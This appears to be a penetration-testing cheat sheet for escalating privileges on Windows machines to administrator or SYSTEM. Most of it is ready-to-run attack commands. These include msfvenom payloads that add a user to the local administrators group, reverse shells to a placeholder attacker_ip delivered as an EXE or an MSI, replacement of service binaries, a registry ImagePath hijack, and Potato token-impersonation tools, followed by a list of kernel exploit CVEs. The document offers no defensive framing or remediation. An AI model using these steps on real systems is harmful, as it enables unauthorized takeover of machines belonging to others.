Local Privilege Escalation
Escalate from low-privileged user to local administrator or SYSTEM on Windows machines.
Methodology
- 1Enumerate services and their configurations
- 2Check for unquoted service paths
- 3Identify services with weak permissions
- 4Check for AlwaysInstallElevated
- 5Exploit kernel vulnerabilities
- 6Token impersonation attacks
Detailed Steps
Unquoted Service Paths:
powershell
# Find unquoted service paths
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """
# PowerShell
Get-WmiObject -Class Win32_Service | Where-Object {$_.PathName -notlike "*\"*" -and $_.PathName -notlike "C:\Windows*"} | Select Name, DisplayName, PathName, StartMode
# Check if you can write to path
icacls "C:\Program Files\Vulnerable Service"Exploitation:
shell
If service path is: C:\Program Files\My Service\service.exe
Windows searches in order:
1. C:\Program.exe
2. C:\Program Files\My.exe
3. C:\Program Files\My Service\service.exe
# Create malicious executable
msfvenom -p windows/exec CMD="net localgroup administrators user /add" -f exe > Program.exe
# Copy to exploitable location
copy Program.exe "C:\Program Files\Program.exe"
# Restart service
sc stop "vulnerable service"
sc start "vulnerable service"Weak service binary permissions:
powershell
# Find services where you can modify the binary
Get-ModifiableServiceFile
# PowerUp
Import-Module .\PowerUp.ps1
Get-ModifiableServiceFile
Invoke-AllChecks
# Check permissions manually
icacls "C:\Program Files\Service\service.exe"Exploitation:
bash
# Generate malicious executable
msfvenom -p windows/x64/shell_reverse_tcp LHOST=attacker_ip LPORT=4444 -f exe > service.exe
# Replace original binary
move "C:\Program Files\Service\service.exe" "C:\Program Files\Service\service.exe.bak"
copy service.exe "C:\Program Files\Service\service.exe"
# Restart service
sc stop servicename
sc start servicenameWeak registry permissions:
powershell
# Find modifiable service registry keys
Get-ModifiableService
# Check specific service
Get-Acl HKLM:\System\CurrentControlSet\Services\servicename | Format-List
# PowerUp
Get-ServiceDetail -ServiceName servicenameExploitation:
powershell
# Modify ImagePath to run your payload
reg add "HKLM\System\CurrentControlSet\Services\servicename" /v ImagePath /t REG_EXPAND_SZ /d "C:\evil.exe" /f
# Restart service
sc stop servicename
sc start servicenameCheck if enabled:
powershell
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# PowerUp
Get-RegistryAlwaysInstallElevatedExploitation:
bash
# Generate malicious MSI
msfvenom -p windows/x64/shell_reverse_tcp LHOST=attacker LPORT=4444 -f msi > evil.msi
# Install (runs as SYSTEM)
msiexec /quiet /qn /i C:\evil.msiCheck for SeImpersonatePrivilege:
cmd
whoami /privIf SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege is enabled:
powershell
# JuicyPotato (Windows Server 2016 and below)
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c net localgroup administrators user /add" -t *
# PrintSpoofer (Windows 10/Server 2019+)
PrintSpoofer.exe -i -c cmd
# RoguePotato
RoguePotato.exe -r attacker_ip -l 9999 -e "cmd.exe"
# GodPotato (latest Windows)
GodPotato.exe -cmd "cmd /c whoami"Identify OS version:
cmd
systeminfo
wmic qfe listCommon exploits:
shell
MS16-032 - Secondary Logon Handle PrivEsc (Win 7-10/2008-2012)
MS16-034 - Windows Kernel-Mode Drivers EoP
MS16-135 - Win32k Elevation of Privilege
CVE-2018-8120 - Win32k Elevation of Privilege (Win 7)
CVE-2019-0841 - Windows AppX Deployment Service PrivEsc
CVE-2019-1064 - AppXSvc Hardlink PrivEsc
CVE-2019-1388 - UAC Bypass via Certificate Dialog
CVE-2020-0787 - Background Intelligent Transfer Service PrivEsc
CVE-2021-1675 - PrintNightmareAutomated checking:
powershell
# Windows-Exploit-Suggester
python windows-exploit-suggester.py --database 2021-01-01-mssb.xls --systeminfo systeminfo.txt
# Watson
.\Watson.exeTools
PowerUpBeRootWatsonJuicyPotatoPrintSpooferGodPotato